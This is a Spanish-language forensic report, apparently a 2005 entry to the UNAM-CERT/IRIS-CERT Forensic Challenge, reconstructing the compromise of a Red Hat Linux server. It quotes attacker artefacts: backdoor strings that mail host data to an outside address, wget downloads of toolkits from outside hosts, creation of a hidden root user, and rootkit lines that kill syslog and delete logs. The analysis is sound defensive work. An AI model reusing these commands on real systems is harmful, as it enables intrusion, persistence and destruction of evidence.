30.04.2013 Views

Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT

Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT

Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

<strong>Reto</strong> <strong>de</strong> <strong>Análisis</strong> <strong>Forense</strong> <strong>V2.0</strong> <strong>UNAM</strong> <strong>–</strong> <strong>CERT</strong> /<br />

<strong>IRIS</strong> <strong>–</strong><strong>CERT</strong><br />

Informe Tecnico<br />

Ing.-Juan Angel Hurtado<br />

1


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

1.- Introducción. 3<br />

1.1 - Descripción <strong>de</strong>l documento. 3<br />

1.2 - Objetivo. 3<br />

1.3 - Audiencia. 3<br />

1.4 - Resumen. 3<br />

2.- Procedimiento Aplicado. 4<br />

2.1 - Preparación <strong>de</strong>l laboratorio. 4<br />

2.2 <strong>–</strong> Búsqueda y análisis <strong>de</strong> evi<strong>de</strong>ncia. 7<br />

3 .- Resumen y resultados. 30<br />

3.1 <strong>–</strong> Resumen y resultados. 30<br />

3.2 <strong>–</strong> Perfil y motivación <strong>de</strong>l atacante. 32<br />

3.3 <strong>–</strong> Recomendaciones y conclusiones. 32<br />

4 .- Agra<strong>de</strong>cimientos. 33<br />

Anexo 1. 34<br />

Anexo 2. 35<br />

Anexo 3. 36<br />

Anexo 4. 41<br />

2


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

1.- Introducción.<br />

1.1 - Descripción <strong>de</strong>l documento.<br />

Descripción: Informe Tecnico sobre el análisis forense realizado a<br />

una plataforma Linux comprometida, como participante en el <strong>Reto</strong> <strong>de</strong><br />

<strong>Análisis</strong> <strong>Forense</strong> <strong>V2.0</strong> propuesto por <strong>UNAM</strong>-<strong>CERT</strong>/<strong>IRIS</strong>-<strong>CERT</strong> y <strong>de</strong>más<br />

convocantes.<br />

Autor: Ing. Juan Angel Hurtado Sanchez<br />

Fecha <strong>de</strong> elaboración: 18/Feb/2005<br />

1.2 - Objetivo.<br />

El presente documento tiene como fin <strong>de</strong>scribir <strong>de</strong> una forma<br />

técnica el procedimiento usado y resultados obtenidos <strong>de</strong>l análisis<br />

forense aplicado a la plataforma propuesta <strong>de</strong> modo que pueda ser<br />

usado como referencia por personas interesadas en la seguridad<br />

informática como una introducción en la realización análisis <strong>de</strong><br />

dicho tipo.<br />

1.3 - Audiencia.<br />

La audiencia pretendida es cualquier persona con conocimientos<br />

<strong>de</strong> sistemas <strong>de</strong> cómputo interesada en la seguridad <strong>de</strong> dichos<br />

sistemas. Este documento preten<strong>de</strong> ser una referencia a fin <strong>de</strong><br />

cumplir con el objetivo planteado en la convocatoria <strong>de</strong>l <strong>Reto</strong><br />

<strong>Forense</strong> <strong>V2.0</strong> (“El objetivo <strong>de</strong> este <strong>Reto</strong> <strong>Forense</strong> V2,0 es motivar el<br />

<strong>de</strong>sarrollo en el área <strong>de</strong> cómputo forense en Ibero América”).<br />

1.4 - Resumen.<br />

En atención al <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong> propuesto por <strong>UNAM</strong>-<strong>CERT</strong> /<br />

<strong>IRIS</strong> <strong>CERT</strong> se ofrece este documento que preten<strong>de</strong> ser una vista<br />

técnica <strong>de</strong>l procedimiento y resultados obtenidos. El análisis <strong>de</strong> la<br />

plataforma en cuestión fue realizado sobre una plataforma Linux<br />

Fedora Core 3 utilizando para ello los comandos <strong>de</strong>l sistema<br />

operativo (strings, cat, grep, ls, etc;), algunos scripts <strong>de</strong> autoría<br />

propia, así como el set <strong>de</strong> herramientas <strong>de</strong> “The sleuthkit” (Aun que<br />

se prefirió el uso <strong>de</strong> comandos <strong>de</strong>l SO, a fin <strong>de</strong> que quienes utilicen<br />

3


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

este documento como referencia no se formen una i<strong>de</strong>a <strong>de</strong> <strong>de</strong>pen<strong>de</strong>ncia<br />

hacia alguna herramienta). El análisis esta basado en una línea <strong>de</strong><br />

tiempo <strong>de</strong>l sistema comprometido, fechas <strong>de</strong> modificación <strong>de</strong> los<br />

archivos y la información extraída <strong>de</strong> la evi<strong>de</strong>ncia proporcionada<br />

para el <strong>Reto</strong>. Los hechos en este documento se <strong>de</strong>scriben siempre como<br />

“supuestos”, esto es <strong>de</strong>bido a que ante la imposibilidad <strong>de</strong> observar<br />

el pasado, el analista forense recaba evi<strong>de</strong>ncia y pue<strong>de</strong> “suponer”<br />

que fue lo que paso, sin embargo no pue<strong>de</strong> darse el lujo <strong>de</strong> afirmar<br />

que lo que el supone es exactamente lo que paso. Se procura evitar<br />

formular acusaciones ya que la función <strong>de</strong>l analista forense es la <strong>de</strong><br />

tratar <strong>de</strong> <strong>de</strong>scribir y reconstruir hechos, las acciones <strong>de</strong> acusar,<br />

juzgar y con<strong>de</strong>nar correspon<strong>de</strong>n a las autorida<strong>de</strong>s que cada País<br />

<strong>de</strong>stine para ello.<br />

2.- Procedimiento Aplicado.<br />

2.1 - Preparación <strong>de</strong>l laboratorio.<br />

Primero es necesario instalar el sistema anfitrión que servirá<br />

como laboratorio <strong>de</strong> trabajo. Para esto se eligió un sistema Linux<br />

Fedora Core 3 montado sobre una partición <strong>de</strong> disco <strong>de</strong> 5 GB. La<br />

instalación se siguió <strong>de</strong> acuerdo al Anaconda (Anaconda es el<br />

instalador <strong>de</strong> Fedora). La documentación acerca <strong>de</strong> Fedora pue<strong>de</strong> ser<br />

encontrada en http://fedora.redhat.com. El sistema tiene instalado a<strong>de</strong>más<br />

Windows XP, ahí se <strong>de</strong>scargaron y <strong>de</strong>scompactaron los archivos .dd a<br />

analizar por cuestiones <strong>de</strong> espacio (La partición <strong>de</strong> Windows XP es <strong>de</strong><br />

17 GB), sin embargo estos pue<strong>de</strong>n ser accesazos <strong>de</strong>s<strong>de</strong> Linux gracias a<br />

la compatibilidad con NTFS. Una vez <strong>de</strong>scompactados se obtienen los<br />

siguientes archivos:<br />

hda1.dd<br />

hda2.dd<br />

hda3.dd<br />

hda5.dd<br />

hda6.dd<br />

firmas.txt<br />

A fin <strong>de</strong> verificar que los archivos no hayan sufrido<br />

modificaciones durante la <strong>de</strong>scarga y/o <strong>de</strong>scompresión se verifica la<br />

firma <strong>de</strong> cada uno con el comando md5sum. El resultado es comparado<br />

con el contenido <strong>de</strong>l archivo firmas.txt:<br />

4


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

#md5sum hda1.dd<br />

639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd<br />

#md5sum hda2.dd<br />

a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd<br />

#md5sum hda3.dd<br />

b90bbfb50821086f195054013260888c hda3.dd<br />

#md5sum hda5.dd<br />

0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd<br />

#md5sum hda6.dd<br />

eb99858c421ae0a48ac7772600dff57c hda6.dd<br />

Una firma distinta indicaría que el archivo no es idéntico al<br />

original, pudiendo ser que se <strong>de</strong>scargara completo o hubiese sido<br />

alterado. Una vez corroboradas todas las firmas, se proce<strong>de</strong> revisar<br />

los archivos .dd obtenidos (En un análisis forense completo, hubiese<br />

sido conveniente interrogar a los administradores y tomar mas<br />

evi<strong>de</strong>ncia, ante la imposibilidad <strong>de</strong> esto se proce<strong>de</strong> con el análisis<br />

<strong>de</strong>l sistema <strong>de</strong> archivos (File System) directamente). Para ello se<br />

monta el primero <strong>de</strong> los archivos .dd como un “File System” en “loop”<br />

mediante el comando mount y en modo <strong>de</strong> solo lectura para evitar<br />

alterar la “escena <strong>de</strong>l crimen”:<br />

# mount -ro,loop hda1.dd /mnt/escena/<br />

Ahora po<strong>de</strong>mos acce<strong>de</strong>r al contenido <strong>de</strong> hda1.dd a través <strong>de</strong><br />

“/mnt/escena/”, en lo consecuente las referencias a “/” (root <strong>de</strong>l<br />

sistema comprometido) serán referencias a “/mnt/escena” en el<br />

sistema anfitrión. Al acce<strong>de</strong>r nos damos cuenta que la estructura<br />

pertenece a un sistema basado en Unix (Aun que por la <strong>de</strong>scripción<br />

<strong>de</strong>l <strong>Reto</strong> <strong>de</strong> antemano sabíamos que se trataba <strong>de</strong> un sistema Linux).<br />

El contenido <strong>de</strong> hda1.dd parece correspon<strong>de</strong>r al File System raíz<br />

(root). En un primer reconocimiento ingresamos al directorio “/etc”<br />

y aplicamos el comando ls -lsa para listar el contenido <strong>de</strong>l mismo.<br />

Usando el comando “more” acce<strong>de</strong>mos al contenido <strong>de</strong> algunos archivos<br />

que nos parecen <strong>de</strong> interés. La existencia <strong>de</strong>l archivo “/etc/redhatrelease”<br />

nos muestra que el sistema pertenece a la distribución <strong>de</strong><br />

Linux Red Hat mientras que el contenido <strong>de</strong>l archivo nos muestra la<br />

versión <strong>de</strong>l mismo “Red Hat Linux release 7.3 (Valhalla)”. Otro<br />

archivo <strong>de</strong> interés es “/etc/sysconfig/network”, cuyo contenido nos<br />

muestra el nombre <strong>de</strong> la maquina “finanzas” y el gateway que<br />

utilizaba “192.168.200.254”. En “/etc/sysconfig/network-scripts/”<br />

5


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

encontramos la configuración <strong>de</strong> la interfaz “eth0” en los archivos<br />

ifcfg-eth0 y ifcfg-eth0:1, don<strong>de</strong> po<strong>de</strong>mos ver que la maquina tenia 2<br />

IP's en una sola interfaz <strong>de</strong> red física(192.168.200.128 y<br />

192.168.200.188), dichos archivos datan <strong>de</strong>l 20 <strong>de</strong> Enero y a reserva<br />

<strong>de</strong> que hubiesen sido modificados nos dan una i<strong>de</strong>a <strong>de</strong> cuando pudo<br />

haber sido el ultimo “re-boot” <strong>de</strong> la maquina. Los directorios<br />

“/etc/cron.d/” y ”/etc/cron.daily/ contienen información acerca <strong>de</strong><br />

los procesos que la maquina corría como cron, encontramos un proceso<br />

que analizaba los logs <strong>de</strong>l sistema “LogWatcher”, logwatcher es un<br />

paquete que viene con las distribuciones <strong>de</strong> RedHat, analiza los logs<br />

<strong>de</strong>l sistema operativo y envía un correo con un resumen <strong>de</strong> ellos, en<br />

este caso el correo era enviado a “root”. ”Finalmente revisamos los<br />

archivos “/etc/mtab” y “/etc/fstab” que nos muestran la distribución<br />

que tenia el File System.<br />

En “/etc/mtab” encontramos que la distribución era la<br />

siguiente:<br />

/<strong>de</strong>v/hda1 / ext3 rw 0 0<br />

none /proc proc rw 0 0<br />

usb<strong>de</strong>vfs /proc/bus/usb usb<strong>de</strong>vfs rw 0 0<br />

none /<strong>de</strong>v/pts <strong>de</strong>vpts rw,gid=5,mo<strong>de</strong>=620 0 0<br />

/<strong>de</strong>v/hda2 /home ext3 rw 0 0<br />

none /<strong>de</strong>v/shm tmpfs rw 0 0<br />

/<strong>de</strong>v/hda5 /usr ext3 rw 0 0<br />

/<strong>de</strong>v/hda3 /var ext3 rw 0 0<br />

En con esto comprobamos que el archivo hda1.dd correspon<strong>de</strong> al<br />

file system “/”, ahora sabemos a<strong>de</strong>más que hda2.dd correspon<strong>de</strong> a<br />

“/home”, hda3.dd a “/var” y hda5.dd a “/usr”. En “/etc/fstab”<br />

encontramos a<strong>de</strong>más que hda6.dd estaba <strong>de</strong>stinado a “swap”. Con esto<br />

ya po<strong>de</strong>mos reconstruir todo el file system usando el comando “mount”<br />

como lo hicimos con hda1.dd, dado que durante el análisis tendremos<br />

que montar y <strong>de</strong>smontar los dd con cierta frecuencia realizamos dos<br />

scripts para automatizar la tarea (Únicamente hda6.dd no será<br />

montado por tratarse <strong>de</strong> “swap”). Dichos scripts aparecen en este<br />

mismo documento en el Anexo 1. Instalamos a<strong>de</strong>más las herramientas<br />

que usaremos para el análisis (Sleuthkit y Autopsy) las herramientas<br />

y las instrucciones para su instalación pue<strong>de</strong>n ser encontradas en<br />

6


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

http://www.sleuthkit.org.<br />

Finalmente pluma y papel para tomar notas y con esto ya<br />

tenemos nuestro laboratorio listo. Montamos los File System’s a<br />

analizar con nuestro script “monta.sh” (En el Anexo 1 encontrara<br />

información para modificar el script a su conveniencia):<br />

#./monta.sh<br />

Po<strong>de</strong>mos ahora iniciar la búsqueda y análisis <strong>de</strong> evi<strong>de</strong>ncia.<br />

2.2 <strong>–</strong> Búsqueda y análisis <strong>de</strong> evi<strong>de</strong>ncia.<br />

La fecha <strong>de</strong> los archivos “/etc/sysconfig/networkscripts/ifcfg-eth0”<br />

y “/etc/sysconfig/network-scripts/ifcfg-eth0:1”<br />

nos indica la ultima vez que se iniciaron los servicios <strong>de</strong> red en el<br />

sistema, lo cual pue<strong>de</strong> ser un indicativo <strong>de</strong> la ultima vez que se reinicio<br />

el equipo (Mas a<strong>de</strong>lante buscaremos evi<strong>de</strong>ncia <strong>de</strong> ello).<br />

sabemos que las imágenes estuvieron disponibles a partir <strong>de</strong>l 1 <strong>de</strong><br />

Febrero <strong>de</strong>l año en curso por lo que <strong>de</strong> momento suponemos que el<br />

ataque sucedió entre el 20 <strong>de</strong> Enero y el 1 <strong>de</strong> Febrero <strong>de</strong> este año.<br />

Nos dirigimos a “/var/log” a fin <strong>de</strong> analizar los log's <strong>de</strong>l<br />

equipo, sin embargo encontramos que no existen log's en dicho<br />

directorio solamente se encuentran dos archivos:<br />

# ls -lsa<br />

total 44<br />

24 -rwxr-xr-x 1 root root 24056 Jan 29 15:26<br />

4 drwxr-xr-x 2 root root 4096 Jan 31 04:02 .<br />

4 drwxr-xr-x 20 root root 4096 Jan 20 09:57 ..<br />

12 -rw-r--r-- 1 root root 9209 Jan 31 04:02 rpmpkgs<br />

El archivo rpmpkgs contiene las firmas <strong>de</strong> los paquetes que<br />

originalmente han sido instalados en la maquina, una practica<br />

interesante es verificar que las firmas correspondan a lo que se<br />

tiene actualmente instalado (De esa forma es posible <strong>de</strong>tectar si<br />

algún programa a sido adulterado), sin embargo el archivo rpmpkgs<br />

<strong>de</strong>l sistema aparece con fecha 31 <strong>de</strong> Enero, como anteriormente<br />

supusimos que el ataque se dio entre el 20 <strong>de</strong> Enero y el 1 <strong>de</strong><br />

Febrero existe posibilidad que dicho archivo haya sido adulterado<br />

para burlar el análisis forense, por tanto <strong>de</strong> momento <strong>de</strong>scartamos<br />

7


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

dicho ejercicio. Por otro lado resulta bastante sospechosa la primer<br />

línea ya que muestra un archivo con nombre “ “ (vació) <strong>de</strong> fecha ENE-<br />

29, pudiendo ser algún programa que el atacante tratara <strong>de</strong> ocultar<br />

nombrándolo <strong>de</strong> esa forma. El comando “more” nos muestra que no se<br />

trata <strong>de</strong> un archivo <strong>de</strong> texto asi que <strong>de</strong> momento vaciamos el<br />

contenido <strong>de</strong>l archivo mediante la sentencia “strings < “ “ ><br />

archivomisterioso.txt”. Al analizar el contenido <strong>de</strong><br />

“archivomisterioso.xtx” encontramos que probablemente sea una<br />

herramienta utilizada por el atacante para abrir un backdoor, <strong>de</strong><br />

momento guardamos la información y continuamos con el análisis, las<br />

siguientes líneas fueron encontradas en dicho archivo.<br />

socket<br />

bind<br />

listen<br />

Port for Alinutu :P<br />

PID = %d<br />

touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info;<br />

cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >><br />

/tmp/.info; cat /tmp/.info | mail -s 'Port nou'<br />

radautiteam@yahoo.com<br />

/usr/tmp<br />

/<strong>de</strong>v/null<br />

HOME=%s<br />

Nu pot forta PTY, pa-pa!<br />

Los archivos contenidos en “/var/log” indican que el atacante<br />

probablemente llego a tener privilegios <strong>de</strong> superusario y haya<br />

borrado los archivos <strong>de</strong> log <strong>de</strong> la maquina. Trataremos <strong>de</strong> recuperar<br />

lo que sea posible <strong>de</strong> estos archivos <strong>de</strong> los archivos hda3.dd y<br />

hda6.dd, damos un primer vistazo con el comando “strings < hda3.dd |<br />

grep 'finanzas' | more”, aplicamos también para hda6.dd (swap). El<br />

buscar ca<strong>de</strong>nas <strong>de</strong> texto basados en patrones también va a ser una<br />

tarea que haremos varias veces durante el análisis, asi que usaremos<br />

un pequeño script <strong>de</strong> autoría propia para ello.<br />

El script hecho en perl aparece en el Anexo 2 <strong>de</strong> este<br />

documento, básicamente le daremos un archivo <strong>de</strong> entrada, uno <strong>de</strong><br />

salida y el patrón a buscar, lo que hará el strip será buscar en el<br />

archivo <strong>de</strong> entrada aquellas líneas que contengan la palabra clave y<br />

las <strong>de</strong>positara en el archivo <strong>de</strong> salida, usaremos como patrón <strong>de</strong><br />

búsqueda la palabra “finanzas”, que es el nombre <strong>de</strong>l host's según lo<br />

encontramos anteriormente:<br />

#./parser.pl finanzas hda3.dd finanzashda3dd.txt &<br />

#./parser.pl finanzas hda6.dd finanzashda6dd.txt &<br />

8


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Mientras que <strong>de</strong> hda6.dd no obtuvimos mas que 3 líneas sin<br />

relevancia, <strong>de</strong> hda3.dd (Que es el File System que originalmente<br />

contenía los log's) pudimos recuperar fragmentos <strong>de</strong> los archivos <strong>de</strong><br />

“log” <strong>de</strong> la maquina. El log recuperado confirma que la maquina<br />

sufrió un “re-boot” el 20 <strong>de</strong> Enero alre<strong>de</strong>dor <strong>de</strong> las 16:33 (Tiempo <strong>de</strong><br />

la Ciudad <strong>de</strong> México según el reloj <strong>de</strong>l sistema comprometido, todos<br />

los tiempos serán referentes a esta zona horaria ya que es la que se<br />

encontró en el archivo /etc/sysconfig/clock <strong>de</strong> la maquina).<br />

Alre<strong>de</strong>dor <strong>de</strong> las 16:44 levanta los servicios <strong>de</strong> MySQL, un Web Server<br />

(Probablemente Apache), sendmail, cron, anacron, y ssh. Casi una<br />

hora mas tar<strong>de</strong> comienza un ataque <strong>de</strong> diccionario (Password<br />

Guessing), un ataque <strong>de</strong> este tipo intenta adivinar el password<br />

(Haciendo conexiones vía ssh en este caso) probando posibles<br />

combinaciones <strong>de</strong> usuarios/passwords provenientes <strong>de</strong> una lista hecha<br />

(diccionario), el ataque proviene <strong>de</strong> varios orígenes y duraría<br />

varios días. Dado que no encontramos log’s en el equipo revisamos el<br />

archivo “/var/mail/root” puesto que según data en los directorios<br />

“/etc/cron.d” y “/etc/cron.daily” en la maquina corrían varios<br />

procesos que generaban estadísticos <strong>de</strong>l sistema (Logwatcher) y los<br />

enviaban por correo a root, esperamos que el superusuario root aun<br />

conserve alguno <strong>de</strong> ellos. Descubrimos que dicho archivo contiene<br />

bastante información <strong>de</strong>l ataque <strong>de</strong> diccionario, sin embargo al<br />

revisar <strong>de</strong> forma mas <strong>de</strong>tallada el archivo “/var/mail/root” nos damos<br />

cuenta <strong>de</strong> que entre intentos se repiten los usuarios, probablemte el<br />

atacante este dando vueltas al mismo diccionario, o varios<br />

atacantes estén usando el mismo diccionario. Por esta razón<br />

<strong>de</strong>scartamos que el inci<strong>de</strong>nte se haya producido a partir <strong>de</strong> dicho<br />

ataque (Ya que el (los) atacante(s) estuvieron repitiendo el mismo<br />

diccionario), aun asi se anexa en este mismo documento un resumen <strong>de</strong><br />

dicho ataque en el Anexo 4.<br />

Continuando con el archivo “/var/mail/root”, existen correos<br />

<strong>de</strong>l Log Watcher hasta el 29 <strong>de</strong> Enero a las 4:02 AM, curiosamente a<br />

partir <strong>de</strong>l mismo 29 pero a las 15:30 horas aparecen mensajes como el<br />

que sigue:<br />

From root Sat Jan 29 15:30:00 2005<br />

Return-Path: <br />

Received: (from root@localhost)<br />

by localhost.localdomain (8.11.6/8.11.6) id j0TLU0H24846<br />

9


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

for root; Sat, 29 Jan 2005 15:30:00 -0600<br />

Date: Sat, 29 Jan 2005 15:30:00 -0600<br />

Message-Id: <br />

From: root@localhost.localdomain (Cron Daemon)<br />

To: root@localhost.localdomain<br />

Subject: Cron /usr/lib/sa/sa1 1 1<br />

X-Cron-Env: <br />

X-Cron-Env: <br />

X-Cron-Env: <br />

X-Cron-Env: <br />

Cannot open /var/log/sa/sa29: No such file or directory<br />

Los mensajes continúan hasta el día 31 <strong>de</strong> Enero a las 15:20.<br />

Ahora bien, tenemos actividad <strong>de</strong>l log-watcher hasta el día 29<br />

(Cuando procesó los logs <strong>de</strong>l día anterior 28 <strong>de</strong> Enero), el mismo día<br />

29 la herramienta sysstat que corría cada 10 min. según el archivo<br />

“/etc/cron.d/sysstat” comienza a reportarla falta <strong>de</strong> archivos en el<br />

directorio <strong>de</strong> “/var/log” a partir <strong>de</strong> las 15:30, en el mismo<br />

directorio se encontró una herramienta <strong>de</strong> Hacking oculta bajo el<br />

nombre “ “ (vació), dicha herramienta data <strong>de</strong>l mismo día 29 <strong>de</strong> Enero<br />

a las 15:26. Partiendo <strong>de</strong> esto generamos dos ejercicios <strong>de</strong><br />

investigación, por un lado generamos una lista <strong>de</strong> archivos cuya<br />

fecha <strong>de</strong> sea 29 <strong>de</strong> Enero, y por otro lado utilizamos nuestro script<br />

para buscar <strong>de</strong>ntro <strong>de</strong> hda3.dd y hda6.dd usando el patrón 'Jan 29',<br />

los comandos a utilizar son:<br />

1) #ls -lRsa /mnt/escena/ | grep 'Jan 29' > $HOME/archivos<strong>de</strong>l29.txt<br />

2) #parser.pl 'Jan 29' hda3.dd Jan29hda3.txt<br />

3) #parser.pl 'Jan 29' hda6.dd Jan29hda6.txt<br />

Una vez que or<strong>de</strong>namos y <strong>de</strong>puramos los resultados que nos<br />

genera el comando 1 (Dicha lista aparece completa en el Anexo 3),<br />

encontramos la siguiente cronología:<br />

A las 4:02 AM se ejecuta el webalizer (Que es un analizador <strong>de</strong> logs<br />

para Web Server's).<br />

A las 15:16 una serie <strong>de</strong> archivos en el directorio /<strong>de</strong>v/ accedidos,<br />

llama la atención también el /bin/gawk, por otro lado se encuentran<br />

los archivos /<strong>de</strong>v/hdx1 y /<strong>de</strong>v/hdx2, estos archivos son creados por<br />

el virus RST.b:<br />

10


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

29 ene 15:16 /bin/gawk-3.1.0<br />

29 ene 15:16 /bin/gawk<br />

29 ene 15:16 /<strong>de</strong>v/hdx2<br />

29 ene 15:16 /<strong>de</strong>v/hdx1<br />

A las 15:17 aparecen los siguientes archivos, parecen indicar la<br />

creación <strong>de</strong>l un usuario “weed”:<br />

29 ene 15:17 disco1/home<br />

29 ene 15:17 disco1/var/spool/mail/weed<br />

29 ene 15:17 disco1/home/weed<br />

29 ene 15:17 disco1/home<br />

29 ene 15:17 disco1/home/lost? ..<br />

29 ene 15:17 disco1/home/Contador ..<br />

29 ene 15:17 disco1/home/weed/.bashrc<br />

29 ene 15:17 disco1/home/weed/.bash_profile<br />

29 ene 15:17 disco1/home/weed/.bash_logout<br />

Entre 15:20 y 15:21 una gran cantidad <strong>de</strong> archivos en /usr/inclu<strong>de</strong><br />

son modificados. Posteriormente a las 15:22 aparecen archivos<br />

.bash_history en “/root” a las 15:25, se modifican una varios<br />

archivos <strong>de</strong>ntro <strong>de</strong> “/etc” y aparece otro “bash_history” esta ves en<br />

“/”. Analicemos ahora la actividad que quedo registrada en los<br />

.bash_history siendo el primero el encontrado en “/root” que se<br />

cerro a las 15:22. y el segundo el que se encuentra en “/” que se<br />

cerro a las 15:27, ambos pertenecieron al súper usuario “root”. Se<br />

intercalan comentarios en rojo:<br />

----------- Archivo /root/.bash_history-----------------<br />

ls lista el contenido <strong>de</strong>l directorio<br />

dir lista el contenido <strong>de</strong>l directorio<br />

ps xc lista los procesos que corren bajo el usuario (root en este<br />

caso)<br />

wget xhack.150m.com/sc.tgz <strong>de</strong>scarga sc.tgz <strong>de</strong>s<strong>de</strong> xhack.150m.com,<br />

este archivo contiene un colección <strong>de</strong> “shell co<strong>de</strong>s” o utilerías para<br />

el hacker, con varios propósitos <strong>de</strong>s<strong>de</strong> expulsar la unidad <strong>de</strong> CD-<br />

ROOM, evadir IDS, ejecutar código etc;<br />

tar -zxvf sc.tgz <strong>de</strong>sempaqueta el contenido <strong>de</strong> sc.tgz<br />

cd sc ingresa al directorio sc<br />

./inst instala lo que parece ser un sniffer que se carga en memoria.<br />

Este archivo estaba contenido en sc.tgz<br />

./sk ejecuta el script sk, con esto pone un funcion el sniffer<br />

w lista a los usuarios que se encuentran logueados en la maquina,<br />

11


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

probablemente para ver quien esta con el en ese momento.<br />

wget xhack.150m.com/https Descarga <strong>de</strong>l mismo sitio el script “https”<br />

perl https Ejecuta el script “https” que aparenta ser un perl script<br />

que funge como backdoor contiene funciones <strong>de</strong> cliente <strong>de</strong> IRC, la<br />

configuración <strong>de</strong>l mismo le permitiría conectarse a eu.un<strong>de</strong>rnet.org y<br />

ejecutar algunas funciones como escaneo <strong>de</strong> puertos y ejecución <strong>de</strong> un<br />

ataques y comandos <strong>de</strong> manera remota. Al analizar el script<br />

básicamente se <strong>de</strong>duce que al ejecutarlo se conecta a<br />

eu.un<strong>de</strong>rnet.org como el usuario “bitch”, el atacante entonces pue<strong>de</strong><br />

iniciar una conversación con el y a través <strong>de</strong> el ejecutar comandos,<br />

escáner puertos y/o ejecutar ataques.<br />

cd ..<br />

rmrm -rf sc* Elimina la evi<strong>de</strong>ncia acerca <strong>de</strong> sc.tgz.<br />

----------- Archivo /.bash_history-----------------<br />

id Verifica la i<strong>de</strong>ntidad <strong>de</strong>l usuario<br />

/usr/sbin/adduser -g 0 -u 0 -o weed Agrega un usuario “weed” con<br />

privilegios <strong>de</strong> root. Probablemente para conservar el acceso remoto<br />

al equipo.<br />

passwd weed Asigna password a el usuario “weed”<br />

/sbin/ifconfig | grep "inet" Verifica las IP’s <strong>de</strong>l equipo<br />

ls <strong>–</strong>sa Lista el contenido <strong>de</strong>l directorio.<br />

dir Lista el contenido <strong>de</strong>l directorio.<br />

/usr/sbin/user<strong>de</strong>l weed Elimina al usuario que acaba <strong>de</strong> crear.<br />

ls <strong>–</strong>sa Lista el contenido <strong>de</strong>l directorio.<br />

dir Lista el contenido <strong>de</strong>l directorio.<br />

rm -rf za* Elimina todo archivo o directorio que comienza con “za”.<br />

rm -rf own Elimina todo archivo o directorio “own”.<br />

/usr/sbin/adduser -g 0 -u 0 -o weed Vuelve a crear el usuario<br />

“weed”.<br />

passwd weed Assign password a el usuario “weed”<br />

wget www.zetu.as.ro/crk.tar.gz Descarga “crk.tar.gz”. Este archivo<br />

contiene un rootkit y un backdoor, este archivo trae algunas cosas<br />

bastante interesantes que <strong>de</strong>tallamos mas abajo. Un análisis con el<br />

antivirus nos muestra que estos archivos están infectados con alguna<br />

variante <strong>de</strong>l virus RST.b<br />

tar xzvf crk.tar.gz Desempaqueta el archivo.<br />

cd crk Ingresa al directorio crk.<br />

./install eliteaza 1 Ejecuta el instalador, el primer argumento es<br />

un password a usarse par realizar conexiones <strong>de</strong> ssh, el segundo<br />

argumento es el puerto en que se levanta el backdoor <strong>de</strong> ssh. Este<br />

script <strong>de</strong>be <strong>de</strong> ser ejecutado como root revisando el código <strong>de</strong>l shell<br />

script “install” encontramos las siguientes líneas:<br />

12


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

killall -9 syslogd (Esta linea mata el syslog)<br />

rm -rf /var/log/* (Esta linea elimina los logs)<br />

